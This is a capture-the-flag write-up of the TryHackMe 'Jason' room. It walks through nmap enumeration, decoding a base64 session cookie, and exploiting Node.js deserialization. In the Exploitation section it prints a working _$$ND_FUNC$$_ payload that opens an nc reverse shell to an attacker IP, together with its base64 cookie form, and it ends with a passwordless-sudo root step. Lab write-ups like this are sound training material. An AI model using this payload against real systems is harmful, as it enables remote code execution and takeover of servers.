Post

THM - Jason room

THM - Jason room

jason

Intro

  • The challenge is named after the popular data format JSON, which plays a central role in the exploitation path. As you progress, you’ll learn how to:
    • Enumerate services and endpoints
    • Exploit a Node.js deserialization vulnerability
    • Gain a reverse shell
    • Escalate privileges to root using classic Linux misconfigurations

Enumeration

  • Starting with nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
$ nmap -sC -sV -vv -p- 10.10.10.14 -oA nmap_jax.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:12 CEST
...
Initiating Ping Scan at 18:12
Scanning 10.10.10.14 [4 ports]
Completed Ping Scan at 18:12, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:12
Completed Parallel DNS resolution of 1 host. at 18:12, 0.03s elapsed
Initiating SYN Stealth Scan at 18:12
Scanning 10.10.10.14 [65535 ports]
Discovered open port 22/tcp on 10.10.10.14
Discovered open port 80/tcp on 10.10.10.14
Completed SYN Stealth Scan at 18:15, 167.58s elapsed (65535 total ports)
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 f6:85:3f:e0:c5:80:66:f2:7e:5e:ac:5d:3d:34:87:5e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSya26HOge/iMDq3nEXeRXebkSKfkvxkN52xafqhfdySLEsFH2cPCFYd04hhIpf3H7OYjDvmis8EmaGfyj1OZyPyb0PTH6TSTqloMypPxsVOCJ0hEBN7isrj/Mdb6LNraec+arvkC+PcrPwwIs1UdxwRv07E43K5Q99zBeXeNBAOfrX0buEzAX74wnsG6JMR0Z385Er8EzkcHNAqv/yzrW798dfrPgCoiL+lPWz6SPfT3D+YAkZWiKYFrk4oQ+66RxXzVPI0HZ/6+5oaGxOHycexxkKlyncrhmuA3veVMiGHoUeqPgAreXPKur4XMVTKLc1OmP0oJ5XWtCe5i1RfsT8vP0u7FVjVt7LGswPqYPZ2jlH9RBMR0/wOF7o/mo7bnvucDg6/GEc0Sfoeo1RzmQz3LNJxyNx+03mF/YIIDNhW7HnH6eQtWy1bTZuKU4AJ6DY/GiJ469MPgdsLauTR/aLOrbry35DA+xx/DSIws9FhTLzcNcTKjiHYEoEcVIPW0=
|   256 47:ab:35:73:84:5b:51:7a:b4:b3:c6:f6:6a:e8:8d:29 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP+VkzWQj0inn+zW7npilcJ+jQ6b8ZJz9HzLSTcAwDdik0orF2l7AFcpSMgHN5n6MiNoVlfcjSKQulughRGypW8=
|   256 d9:44:85:dd:74:56:15:65:66:ab:a8:52:ec:07:a4:f3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF6RVH/ln4PqobRVw7oUd/1jjiyJSQYuugoWcWGV46Rj
80/tcp open  http    syn-ack ttl 63
|_http-favicon: Unknown favicon MD5: 8FCEA7DE73B9ED47DE799DB3AE6363A8
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Horror LLC
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Thu, 17 Jul 2025 16:15:33 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     ...
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.95%I=7%D=7/17%Time=687921A6%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDat
...
SF:x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:15
Completed NSE at 18:15, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.80 seconds
           Raw packets sent: 69284 (3.048MB) | Rcvd: 66500 (2.660MB)
  • I tryied ffuf but found nothing there
  • On port 80 we have a UI with some form where we could provide email (or maybe something else :)) and getting answer (after some time)
  • Running it via Burp I noticed that aftert providing email there, you get back a session token in base64:
1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: 10.10.192.94
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJlbWFpbCI6ImFkbWluQGpheC50aG0ifQ==
Connection: keep-alive
  • That’s what was in a session:
1
2
3
echo 'eyJlbWFpbCI6ImFkbWluQGpheC50aG0ifQ==' | base64 -d

{"email":"admin@jax.thm"}
  • So something happening with our payload in this js part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   <script>
    document.getElementById("signup").addEventListener("click", function() {
	var date = new Date();
    	date.setTime(date.getTime()+(-1*24*60*60*1000));
    	var expires = "; expires="+date.toGMTString();
    	document.cookie = "session=foobar"+expires+"; path=/";
    	const Http = new XMLHttpRequest();
        console.log(location);
        const url=window.location.href+"?email="+document.getElementById("fname").value;
        Http.open("POST", url);
        Http.send();
	setTimeout(function() {
		window.location.reload();
	}, 500);
    });
    </script>
  • And we see that our payload is reflected on the page …
  • If after decoding, you find serialized data:
    • JSON: starts with { or [
    • Pickle (Python): starts with \x80
    • PHP serialization: starts with a:, s:, O:, etc.
    • Binary structures or magic bytes (e.g., JPEG, ZIP) In our case it means we need to look for a javascript/json serialization/deserialization vulnerabilities and here is article I found: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Exploitation

  • So I decided to just created a file payload.js with this snippet (standard /bin/bash -i ... shell didn’t worked for me) but nc did the work:
1
{"email":"_$$ND_FUNC$$_function(){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.100.105 12345 >/tmp/f',function(error, stdout, stderr){console.log(stdout)});}()"}
  • Next just cat payload.js | base64
  • Start listener:
1
nc -lvnp 12345
  • Grab the base64 outcome and update a request in repeater with a new session:

eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjExLjEwMC4xMDUgMTIzNDUgPi90bXAvZicsZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKXtjb25zb2xlLmxvZyhzdGRvdXQpfSk7fSgpIn0K

1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: 10.10.57.206
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.57.206/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJlbWFpbCI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjExLjEwMC4xMDUgMTIzNDUgPi90bXAvZicsZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKXtjb25zb2xlLmxvZyhzdGRvdXQpfSk7fSgpIn0K
Connection: keep-alive

Post exploitation

  • User flag is in the standard user’s place /home/dylan/user.txt
  • Run sudo -l and you will see that you can run every sudo command without password
  • Root flag is also in standard place - /root/root.txt
  • That’s all folks! Thank you for reading! :)
This post is licensed under CC BY 4.0 by the author.